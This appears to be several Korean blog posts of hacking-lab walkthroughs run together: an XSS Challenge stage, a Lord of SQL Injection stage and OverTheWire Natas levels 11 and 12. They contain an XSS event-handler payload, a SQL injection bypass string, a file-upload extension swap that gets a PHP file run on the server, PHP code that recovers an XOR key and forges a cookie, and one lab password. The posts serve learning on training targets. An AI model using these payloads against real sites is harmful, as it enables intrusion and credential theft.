<script>alert(document.domain);</script> 을 입력해주었더니 아래와 같이 <, >이 필터링 된 것을 볼 수 있다.

onclick 속성을 이용해주어 다음과 같이 작성해주었다.
value="1" onclick="alert(document.domain);"


다음과 같이 공격에 성공할 수 있었다.



stage 13 : https://xss-quiz.int21h.jp/stage13_0.php?sid=76e8107de80d75aa1d7189c4e9008d2dce57f749

'Web Hacking > XSS Challenge' 카테고리의 다른 글

[XSS Challenge] Stage 14  (0) 2022.06.19
[XSS Challenge] Stage 13  (0) 2022.06.19
[XSS Challenge] Stage 10  (0) 2022.05.21
[XSS Challenge] Stage 09  (0) 2022.05.21
[XSS Challenge] Stage 08  (0) 2022.05.15

이전 stage와 동일하게 preg_match함수로 논리연산자를 우회하고 있으므로?pw='||id='admin을 입력해주었다.

그랬더니 아래와 같이 공격에 성공할 수 있었다.

'Web Hacking > Lord of SQL Injection' 카테고리의 다른 글

[Lord of SQL Injection] vampire  (0) 2022.09.09
[Lord of SQL Injection] orge  (0) 2022.06.19
[Lord of SQL Injection] wolfman  (0) 2022.05.21
[Lord of SQL Injection] orc  (0) 2022.05.14
[Lord of SQL Injection] goblin  (0) 2022.05.07

다음은 natas12의 페이지 화면이다.

View sourcecode를 통해 소스코드를 확인해주었다.

<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas12", "pass": "<censored>" };</script></head>
<body>
<h1>natas12</h1>
<div id="content">
<? 

function genRandomString() {
    $length = 10;
    $characters = "0123456789abcdefghijklmnopqrstuvwxyz";
    $string = "";    

    for ($p = 0; $p < $length; $p++) {
        $string .= $characters[mt_rand(0, strlen($characters)-1)];
    }

    return $string;
}

function makeRandomPath($dir, $ext) {
    do {
    $path = $dir."/".genRandomString().".".$ext;
    } while(file_exists($path));
    return $path;
}

function makeRandomPathFromFilename($dir, $fn) {
    $ext = pathinfo($fn, PATHINFO_EXTENSION);
    return makeRandomPath($dir, $ext);
}

if(array_key_exists("filename", $_POST)) {
    $target_path = makeRandomPathFromFilename("upload", $_POST["filename"]);


        if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) {
        echo "File is too big";
    } else {
        if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
            echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded";
        } else{
            echo "There was an error uploading the file, please try again!";
        }
    }
} else {
?>

<form enctype="multipart/form-data" action="index.php" method="POST">
<input type="hidden" name="MAX_FILE_SIZE" value="1000" />
<input type="hidden" name="filename" value="<? print genRandomString(); ?>.jpg" />
Choose a JPEG to upload (max 1KB):<br/>
<input name="uploadedfile" type="file" /><br />
<input type="submit" value="Upload File" />
</form>
<? } ?>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>


- getRandomString 함수 : 랜덤한 문자열을 만들어주는 함수
- makeRandomPath 함수 : 랜덤한 파일의 경로를 지정해주는 함수
- makeRandomPathFromFilename 함수 : 서버로 전송된 파일을 저장하는 함수

파일 선택을 하였다.


Upload File을 눌러주었더니 다음과 같이 error가 떴다.


메모장을 이용하여 다음과 같은 php 파일을 만들어주었다.


그리고 이를 upload해준 후 burp suite로 패킷을 가로챘다.

burp suite를 이용하여 .jpg를 .php로 변경해주었다.

그랬더니 아래와 같이 링크가 생겼다.


이를 클릭해주었더니 아래와 같이 비밀번호를 얻을 수 있었다.

jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY

'Web Hacking > Natas' 카테고리의 다른 글

[Natas] Level 13 > Level 14  (0) 2022.06.19
[Natas] Level 12 > Level 13  (0) 2022.06.18
[Natas] Level 10 > Level 11  (0) 2022.05.27
[Natas] Level 9 > Level 10  (0) 2022.05.21
[Natas] Level 8 > Level 9  (0) 2022.05.21

다음은 natas11의 페이지이다.

#FF0000(빨강)을 입력해주었더니 뒷배경이 빨간색이 되는 것을 확인할 수 있었다.


먼저 View sourcecode를 눌러 소스코드를 확인해주었다.
다음은 전체 소스코드이다.

<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas11", "pass": "<censored>" };</script></head>
<?

$defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");

function xor_encrypt($in) {
    $key = '<censored>';
    $text = $in;
    $outText = '';

    // Iterate through each character
    for($i=0;$i<strlen($text);$i++) {
    $outText .= $text[$i] ^ $key[$i % strlen($key)];
    }

    return $outText;
}

function loadData($def) {
    global $_COOKIE;
    $mydata = $def;
    if(array_key_exists("data", $_COOKIE)) {
    $tempdata = json_decode(xor_encrypt(base64_decode($_COOKIE["data"])), true);
    if(is_array($tempdata) && array_key_exists("showpassword", $tempdata) && array_key_exists("bgcolor", $tempdata)) {
        if (preg_match('/^#(?:[a-f\d]{6})$/i', $tempdata['bgcolor'])) {
        $mydata['showpassword'] = $tempdata['showpassword'];
        $mydata['bgcolor'] = $tempdata['bgcolor'];
        }
    }
    }
    return $mydata;
}

function saveData($d) {
    setcookie("data", base64_encode(xor_encrypt(json_encode($d))));
}

$data = loadData($defaultdata);

if(array_key_exists("bgcolor",$_REQUEST)) {
    if (preg_match('/^#(?:[a-f\d]{6})$/i', $_REQUEST['bgcolor'])) {
        $data['bgcolor'] = $_REQUEST['bgcolor'];
    }
}

saveData($data);



?>

<h1>natas11</h1>
<div id="content">
<body style="background: <?=$data['bgcolor']?>;">
Cookies are protected with XOR encryption<br/><br/>

<?
if($data["showpassword"] == "yes") {
    print "The password for natas12 is <censored><br>";
}

?>

<form>
Background color: <input name=bgcolor value="<?=$data['bgcolor']?>">
<input type=submit value="Set color">
</form>

<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

- xor_encrypt 함수 : 두 문자열을 XOR연산
- loadData 함수 : 쿠키 값의 데이터를 디코드하고 변경된 점을 저장
- saveData 함수 : 다시 암호화하여 쿠키 저장 (json_encode -> xor_encrypt -> base64_encode 순으로 진행)

<h1>natas11</h1>
<div id="content">
<body style="background: <?=$data['bgcolor']?>;">
Cookies are protected with XOR encryption<br/><br/>

<?
if($data["showpassword"] == "yes") {
    print "The password for natas12 is <censored><br>";
}
?>

이 부분에서 볼 수 있듯이 $data["showpassword"]가 "yes"일 때, 비밀번호를 획득할 수 있다.

$defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");

showpassword의 초기값은 no이고, bgcolor의 초기값은 #ffffff이다.

cookie값 : ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw

cookie값을 이용하여 다음과 같이 php코드를 작성해주었다.
function xor_encrypt를 활용하여 작성해주었다.
base64_decode()의 반환값인 text와 json_encode의 반환값인 outText를 ^(xor)연산해주도록 하였따.

<!DOCTYPE html>
<html>
<body>

<?php

$text = base64_decode("ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw");
$defaultdata=array("showpassword"=>"no", "bgcolor"=>"#ffffff");
$outText=json_encode($defaultdata);
$key='';
    // Iterate through each character
for($i=0;$i<strlen($text);$i++) {
    $key .= $outText[$i] ^ $text[$i % strlen($text)];
}

echo $key;
?>

</body>
</html>

이를 입력해주었더니 사진에서 볼 수 있들시 "qw8J"가 반복하여 출력되고 있다.

이 값을 이용하여 새로운 cookie값을 만들 수 있다.
outText에 json_encode반환값과 구한 key값(qw8J)를 xor연산해주었으며, base64_encode를 적용해주었다.

<!DOCTYPE html>
<html>
<body>

<?php

$defaultdata=array("showpassword"=>"yes", "bgcolor"=>"#ffffff");
$key='qw8J';
$text=json_encode($defaultdata);
$outText='';

for($i=0;$i<strlen($text);$i++) {
    $outText .= $text[$i] ^ $key[$i % strlen($key)];
}
$outText=base64_encode($outText);
echo $outText;
?>

</body>
</html>

출력값으로 새로운 쿠키값이 생성되었다.
ClVLIh4ASCsCBE8lAxMacFMOXTlTWxooFhRXJh4FGnBTVF4sFxFeLFMK

쿠키값을 바꿔주었더니 아래와 같이 다음단계의 비밀번호를 얻을 수 있었다.

'Web Hacking > Natas' 카테고리의 다른 글

[Natas] Level 12 > Level 13  (0) 2022.06.18
[Natas] Level 11 > Level 12  (0) 2022.05.27
[Natas] Level 9 > Level 10  (0) 2022.05.21
[Natas] Level 8 > Level 9  (0) 2022.05.21
[Natas] Level 7 > Level 8  (0) 2022.05.14

+ Recent posts